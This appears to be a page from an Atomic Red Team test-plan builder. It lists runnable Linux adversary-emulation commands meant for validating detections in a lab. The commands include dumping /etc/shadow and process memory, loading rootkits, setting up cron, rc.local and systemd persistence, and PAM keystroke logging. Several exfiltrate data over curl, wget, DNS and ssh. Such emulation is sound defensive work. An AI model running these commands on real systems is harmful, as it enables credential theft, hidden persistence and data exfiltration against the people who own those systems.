Home/Atomic Tests
Atomic Red Team

Test-plan builder

Find runnable Atomic Red Team test cases for what you want to validate
Pick a technique, platform, or executor - or search by name - and get the executable test cases. Copy a command, run it on the listed platform in a lab, and confirm your detections fire. Pairs with the Detection Blind Spots on each actor page: see a gap, grab the test that exercises it.
filter by technique id in the URL: /atomic?technique=T1059

Matching tests · linux

397
T1001.002 sh linux Execute Embedded Script in Image via Steganography
Steganography
This atomic test demonstrates the execution of an embedded script in an image file using steganography techniques. The script is first encoded in base64 and then embedded within the pixels of the image. The modified image is created, and the script is extracted and executed on the target system.
cat "#{script}" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat "#{image}" - > "#{evil_image}"; strings "#{evil_image}" | tail -n 1 | base64 -d | sh
T1003.007 sh elevated linux Dump individual process memory with sh (Local)
Proc Filesystem
Using /proc/$PID/mem, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later.
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
grep -i "PASS" "#{output_file}"
T1003.007 sh elevated linux Dump individual process memory with sh on FreeBSD (Local)
Proc Filesystem
Using /proc/$PID/mem, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted.
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "#{output_file}" | grep -i PASS
T1003.007 sh elevated linux Dump individual process memory with Python (Local)
Proc Filesystem
Using /proc/$PID/mem, where $PID is the target process ID, use a Python script to copy a process's heap memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted.
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"
T1003.007 bash elevated linux Capture Passwords with MimiPenguin
Proc Filesystem
MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.
sudo #{MimiPenguin_Location} > #{output_file}
cat #{output_file}
T1003.008 bash elevated linux Access /etc/shadow (Local)
/etc/passwd and /etc/shadow
/etc/shadow file is accessed in Linux environments
sudo cat /etc/shadow > #{output_file}
cat #{output_file}
T1003.008 sh elevated linux Access /etc/master.passwd (Local)
/etc/passwd and /etc/shadow
/etc/master.passwd file is accessed in FreeBSD environments
sudo cat /etc/master.passwd > #{output_file}
cat #{output_file}
T1003.008 sh linux Access /etc/passwd (Local)
/etc/passwd and /etc/shadow
/etc/passwd file is accessed in FreeBSD and Linux environments
cat /etc/passwd > #{output_file}
cat #{output_file}
T1003.008 sh elevated linux Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat
/etc/passwd and /etc/shadow
Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed
unamestr=$(uname)
if [ "$unamestr" = 'Linux' ]; then echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; elif [ "$unamestr" = 'FreeBSD' ]; then echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; fi
T1003.008 sh elevated linux Access /etc/{shadow,passwd,master.passwd} with shell builtins
/etc/passwd and /etc/shadow
Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins
testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }
[ "$(uname)" = 'FreeBSD' ] && testcat /etc/master.passwd
testcat /etc/passwd
testcat /etc/shadow
T1005 bash linux Find and dump sqlite databases (Linux)
Data from Local System
An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
T1007 bash linux System Service Discovery - systemctl/service
System Service Discovery
Enumerates system service using systemctl/service
if [ "$(uname)" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;
T1007 sh linux System Service Discovery - Linux init scripts
System Service Discovery
Enumerates system services by listing SysV init scripts and runlevel symlinks under /etc/init.d and /etc/rc*.d.
echo "[*] Listing SysV init scripts (/etc/init.d):"
if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo "/etc/init.d not present on this system"; fi
echo
echo "[*] Listing runlevel directories (/etc/rc*.d):"
ls -ld /etc/rc*.d 2>/dev/null || echo "No /etc/rc*.d directories found"
T1014 sh elevated linux Loadable Kernel Module based Rootkit
Rootkit
Loadable Kernel Module based Rootkit
sudo insmod #{rootkit_path}/#{rootkit_name}.ko
T1014 sh elevated linux Loadable Kernel Module based Rootkit
Rootkit
Loadable Kernel Module based Rootkit
sudo modprobe #{rootkit_name}
T1014 sh elevated linux dynamic-linker based rootkit (libprocesshider)
Rootkit
Uses libprocesshider to simulate rootkit behavior by hiding a specific process name via ld.so.preload (see also T1574.006).
echo #{library_path} | tee -a /etc/ld.so.preload
/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo "process hidden"
T1014 sh elevated linux Loadable Kernel Module based Rootkit (Diamorphine)
Rootkit
Loads Diamorphine kernel module, which hides itself and a processes.
sudo modprobe #{rootkit_name}
ping -c 10 localhost >/dev/null & TARGETPID="$!"
ps $TARGETPID
kill -31 $TARGETPID
ps $TARGETPID || echo "process ${TARGETPID} hidden"
T1016 sh macos, linux System Network Configuration Discovery
System Network Configuration Discovery
Identify network configuration information. Upon successful execution, sh will spawn multiple commands and output will be via stdout.
if [ "$(uname)" = 'FreeBSD' ]; then cmd="netstat -Sp tcp"; else cmd="netstat -ant"; fi;
if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi;
if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi;
if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi;
if [ -x "$(command -v netstat)" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi;
T1016.001 bash macos, linux Check internet connection using ping freebsd, linux or macos
Internet Connection Discovery
Check internet connection using ping on Linux, MACOS. The default target of the ping is 8.8.8.8 (Google Public DNS).
ping -c 4 #{ping_target}
T1018 sh linux, macos Remote System Discovery - arp nix
Remote System Discovery
Identify remote systems via arp. Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout.
arp -a | grep -v '^?'
T1018 sh linux, macos Remote System Discovery - sweep
Remote System Discovery
Identify remote systems via ping sweep. Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active.
for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo "#{subnet}.$ip UP" || : ; done
T1018 sh linux Remote System Discovery - ip neighbour
Remote System Discovery
Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment.
ip neighbour show
T1018 sh linux Remote System Discovery - ip route
Remote System Discovery
Use the ip route command to display the kernels routing tables.
ip route show
T1018 sh linux Remote System Discovery - netstat
Remote System Discovery
Use the netstat command to display the kernels routing tables.
netstat -r | grep default
T1018 sh linux Remote System Discovery - ip tcp_metrics
Remote System Discovery
Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses.
ip tcp_metrics show |grep --invert-match "^127\."
T1027 sh macos, linux Decode base64 Data into Script
Obfuscated Files or Information
Creates a base64-encoded data file and decodes it into an executable shell script Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes Hello from the Atomic Red Team and uname -v
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
T1027.001 sh linux, macos Pad Binary to Change Hash - Linux/macOS dd
Binary Padding
Uses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash. Upon successful execution, dd will modify /tmp/evil-binary, therefore the expected hash will change.
dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes
dd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data
dd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data
T1027.001 sh linux, macos Pad Binary to Change Hash using truncate command - Linux/macOS
Binary Padding
Uses truncate to add a byte to the binary to change the hash. Upon successful execution, truncate will modify /tmp/evil-binary, therefore the expected hash will change.
truncate -s +1 #{file_to_pad} #adds a byte to the file size
T1027.002 sh linux Binary simply packed by UPX (linux)
Software Packing
Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX. No other protection/compression were applied.
cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin
T1027.002 sh linux Binary packed by UPX, with modified headers (linux)
Software Packing
Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX. The UPX magic number (0x55505821, "UPX!") was changed to (0x4c4f5452, "LOTR"). This prevents the binary from being detected by some methods, and especially UPX is not able to uncompress it any more.
cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin
T1027.004 sh linux, macos C compile
Compile After Delivery
Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.
gcc #{input_file} && ./a.out
clang #{input_file} && ./a.out
T1027.004 sh linux, macos CC compile
Compile After Delivery
Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.
g++ #{input_file} && ./a.out
clang++ #{input_file} && ./a.out
T1027.004 sh linux, macos Go compile
Compile After Delivery
Compile a go file with golang on FreeBSD, Linux or Macos.
go run #{input_file}
T1027.013 powershell windows, macos, linux Decode Eicar File and Write to File
Encrypted/Encoded File
Decode the eicar value, and write it to file, for AV/EDR to try to catch.
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File $env:temp\T1027.013_decodedEicar.txt
T1027.013 powershell windows, macos, linux Decrypt Eicar File and Write to File
Encrypted/Encoded File
Decrypt the eicar value, and write it to file, for AV/EDR to try to catch.
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))
#Write the decrypted eicar string to a file
$decryptedString | Out-File $env:temp\T1027.013_decryptedEicar.txt
T1027.013 bash linux, macos Password-Protected ZIP Payload Extraction and Execution
Encrypted/Encoded File
Extracts and executes a script from a password-protected ZIP archive. This technique is commonly used by malware families like Emotet and QBot to deliver payloads via email attachments where the password is provided in the message body. The encrypted ZIP evades static file analysis until extracted at runtime. Upon successful execution, displays confirmation and system information.
echo '#!/bin/bash' > /tmp/art_payload.sh
echo 'echo "T1027.013: Payload extracted from encrypted ZIP"' >> /tmp/art_payload.sh
echo 'echo "Hostname: $(hostname)"' >> /tmp/art_payload.sh
echo 'echo "User: $(whoami)"' >> /tmp/art_payload.sh
echo 'uname -a' >> /tmp/art_payload.sh
cd /tmp && zip -P "#{zip_password}" art_encrypted.zip art_payload.sh
rm /tmp/art_payload.sh
echo "Encrypted ZIP created. Extracting with password..."
unzip -P "#{zip_password}" -o /tmp/art_encrypted.zip -d /tmp/
echo "Executing extracted payload:"
bash /tmp/art_payload.sh
T1030 sh macos, linux Data Transfer Size Limits
Data Transfer Size Limits
Take a file/directory, split it into 5Mb chunks
cd #{folder_path}; split -b 5000000 #{file_name}
ls -l #{folder_path}
T1033 sh linux, macos System Owner/User Discovery
System Owner/User Discovery
Identify System owner or users on an endpoint Upon successful execution, sh will stdout list of usernames.
users
w
who
T1036.003 sh linux Masquerading as FreeBSD or Linux crond process.
Rename Legitimate Utilities
Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon. Upon successful execution, sh is renamed to crond and executed.
cp /bin/sh /tmp/crond;
echo 'sleep 5' | /tmp/crond
T1036.004 sh linux linux rename /proc/pid/comm using prctl
Masquerade Task or Service
Runs a C program that calls prctl(PR_SET_NAME) to modify /proc/pid/comm value to "totally_legit". This will show up as process name in simple 'ps' listings.
#{exe_path} & ps
TMP=`ps | grep totally_legit`
if [ -z "${TMP}" ] ; then echo "renamed process NOT FOUND in process list" && exit 1; fi
exit 0
T1036.004 sh elevated linux Hiding a malicious process with bind mounts
Masquerade Task or Service
Creates a malicious process and hides it by bind mounting to the /proc filesystem of a benign process
eval '(while true; do :; done) &'
echo $! > /tmp/evil_pid.txt
random_kernel_pid=$(ps -ef | grep "\[.*\]" | awk '{print $2}' | shuf -n 1)
sudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)
T1036.005 sh macos, linux Execute a process from a directory masquerading as the current parent directory
Match Legitimate Resource Name or Location
Create and execute a process from a directory masquerading as the current parent directory (... instead of normal ..)
mkdir $HOME/...
cp $(which sh) $HOME/...
$HOME/.../sh -c "echo #{test_message}"
T1036.006 sh macos, linux Space After Filename
Space after Filename
Space after filename.
mkdir -p /tmp/atomic-test-T1036.006
cd /tmp/atomic-test-T1036.006
mkdir -p 'testdirwithspaceend '
[ "$(uname)" = 'FreeBSD' ] && /bin/echo "#\!/bin/sh" > "testdirwithspaceend /init " && echo 'echo "print(\"running T1035.006 with space after filename to masquerade init\")" | python3.9' >> "testdirwithspaceend /init " && echo "exit" >> "testdirwithspaceend /init " || /usr/bin/echo -e "%d\na\n#!/usr/bin/perl\nprint \"running T1035.006 with space after filename to masquerade init\\n\";\nqx/cp \/usr\/bin\/perl 'init  '/;\nqx/'.\/init  ' -e 'sleep 5'/;\n.\nwq\n" | ed 'testdirwithspaceend /init ' >/dev/null
chmod +x 'testdirwithspaceend /init '
'./testdirwithspaceend /init '
T1037.004 bash elevated linux rc.common
RC Scripts
Modify rc.common
filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
sudo chmod +x /etc/rc.common
T1037.004 sh elevated linux rc.local
RC Scripts
Modify rc.local
filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
[ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local
echo "\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
printf 'exit 0' | sudo tee -a /etc/rc.local
sudo chmod +x /etc/rc.local
T1040 bash elevated linux Packet Capture Linux using tshark or tcpdump
Network Sniffing
Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed. Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
tcpdump -c 5 -nnni #{interface}
tshark -c 5 -i #{interface}
T1040 sh elevated linux Packet Capture FreeBSD using tshark or tcpdump
Network Sniffing
Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed. Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
tcpdump -c 5 -nnni #{interface}
tshark -c 5 -i #{interface}
T1040 sh elevated linux Packet Capture FreeBSD using /dev/bpfN with sudo
Network Sniffing
Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.
sudo #{program_path} -i #{ifname} -t 3
T1040 sh elevated linux Filtered Packet Capture FreeBSD using /dev/bpfN with sudo
Network Sniffing
Opens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.
sudo #{program_path} -f -i #{ifname} -t 3
T1040 bash elevated linux Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo
Network Sniffing
Captures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds.
sudo #{program_path} -a -t 3
T1040 bash elevated linux Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo
Network Sniffing
Captures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds.
sudo #{program_path} -4 -p 6 -t 3
T1040 bash elevated linux Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo
Network Sniffing
Captures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds. SOCK_PACKET is "obsolete" according to the man page, but still works on Ubuntu 20.04
sudo #{program_path} -4 -P -p 17 -t 3
T1040 bash elevated linux Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo
Network Sniffing
Captures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds. Sets a BPF filter on the socket to filter for UDP traffic.
sudo #{program_path} -a -f -t 3
T1046 bash linux, macos Port Scan
Network Service Discovery
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 sh elevated linux, macos Port Scan Nmap
Network Service Discovery
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 sh elevated linux, macos Port Scan using nmap (Port range)
Network Service Discovery
Scan multiple ports to check for listening ports with nmap
nmap -Pn -sV -p #{port_range} #{host}
T1048 sh macos, linux Exfiltration Over Alternative Protocol - SSH
Exfiltration Over Alternative Protocol
Input a domain and test Exfiltration over SSH Remote to Local Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
T1048 sh macos, linux Exfiltration Over Alternative Protocol - SSH
Exfiltration Over Alternative Protocol
Input a domain and test Exfiltration over SSH Local to Remote Upon successful execution, tar will compress /Users/* directory and password protect the file modification of Users.tar.gz.enc as output.
tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
T1048 bash macos, linux Exfiltrate Data using DNS Queries via dig
Exfiltration Over Alternative Protocol
This test demonstrates how an attacker can exfiltrate sensitive information by encoding it as a subdomain (using base64 encoding) and making DNS queries via the dig command to a controlled DNS server.
dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com
T1048.002 bash macos, linux Exfiltrate data HTTPS using curl freebsd,linux or macos
Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
Exfiltrate data HTTPS using curl to file share site file.io
curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/
T1048.002 sh linux Exfiltrate data in a file over HTTPS using wget
Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
Exfiltrate data over HTTPS using wget --post-file method
wget --post-file="#{input_file}" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after
T1048.002 sh linux Exfiltrate data as text over HTTPS using wget
Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
Exfiltrate data over HTTPS using wget --post-data method
wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after
T1048.003 manual macos, linux Exfiltration Over Alternative Protocol - HTTP
Exfiltration Over Unencrypted Non-C2 Protocol
A firewall rule (ipfw,pf,iptables or firewalld) will be needed to allow exfiltration on port 1337. Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.
T1048.003 manual linux Exfiltration Over Alternative Protocol - DNS
Exfiltration Over Unencrypted Non-C2 Protocol
Exfiltration of specified file over DNS protocol.
T1048.003 sh linux Python3 http.server
Exfiltration Over Unencrypted Non-C2 Protocol
An adversary may use the python3 standard library module http.server to exfiltrate data. This test checks if python3 is available and if so, creates a HTTP server on port 9090, captures the PID, sleeps for 10 seconds, then kills the PID and unsets the $PID variable.
[ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9
if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi
T1049 bash linux, macos System Network Connections Discovery via ss or lsof (Linux/MacOS)
System Network Connections Discovery
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 sh linux, macos System Network Connections Discovery FreeBSD, Linux & MacOS
System Network Connections Discovery
Get a listing of network connections. Upon successful execution, sh will execute netstat and who -a. Results will output via stdout.
netstat
who -a
T1049 sh linux System Network Connections Discovery via sockstat (Linux, FreeBSD)
System Network Connections Discovery
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1053.002 sh linux At - Schedule a job
At
This test submits a command to be run in the future by the at daemon.
echo "#{at_command}" | at #{time_spec}
T1053.003 sh linux, macos Cron - Replace crontab with referenced file
Cron
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1053.003 bash elevated macos, linux Cron - Add script to all cron subfolders
Cron
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 sh elevated linux Cron - Add script to /etc/cron.d folder
Cron
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 bash elevated linux Cron - Add script to /var/spool/cron/crontabs/ folder
Cron
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.006 bash elevated linux Create Systemd Service and Timer
Systemd Timers
This test creates Systemd service and timer then starts and enables the Systemd timer
echo "[Unit]" > #{path_to_systemd_service}
echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service}
echo "[Service]" >> #{path_to_systemd_service}
echo "Type=simple" >> #{path_to_systemd_service}
echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service}
echo "[Install]" >> #{path_to_systemd_service}
echo "WantedBy=multi-user.target" >> #{path_to_systemd_service}
echo "[Unit]" > #{path_to_systemd_timer}
echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer}
echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer}
echo "[Timer]" >> #{path_to_systemd_timer}
echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer}
echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer}
echo "[Install]" >> #{path_to_systemd_timer}
echo "WantedBy=timers.target" >> #{path_to_systemd_timer}
systemctl start #{systemd_timer_name}
systemctl enable #{systemd_timer_name}
systemctl daemon-reload
T1053.006 sh linux Create a user level transient systemd service and timer
Systemd Timers
Schedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command.
systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo "$(date) $(whoami)" >>/tmp/log'
T1053.006 sh elevated linux Create a system level transient systemd service and timer
Systemd Timers
Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command.
systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo "$(date) $(whoami)" >>/tmp/log'
T1056.001 sh elevated linux Living off the land Terminal Input Capture on Linux with pam.d
Keylogging
Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges. Passwords hidden by the console can also be logged, with 'log_passwd' as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command). Use 'aureport --tty' or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library.
if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;
if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;
sudo touch /tmp/password-auth.bk
sudo touch /tmp/system-auth.bk sudo echo "session    required    pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session    required    pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/system-auth
T1056.001 sh elevated linux Logging bash history to syslog
Keylogging
There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog. To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/
PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
tail /var/log/syslog
T1056.001 sh elevated linux Logging sh history to syslog/messages
Keylogging
There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog. To gain persistence the command could be added to the users .shrc or .profile
PS2=`logger -t "$USER" -f ~/.sh_history`
$PS2
tail /var/log/messages
T1056.001 bash linux Bash session based keylogger
Keylogging
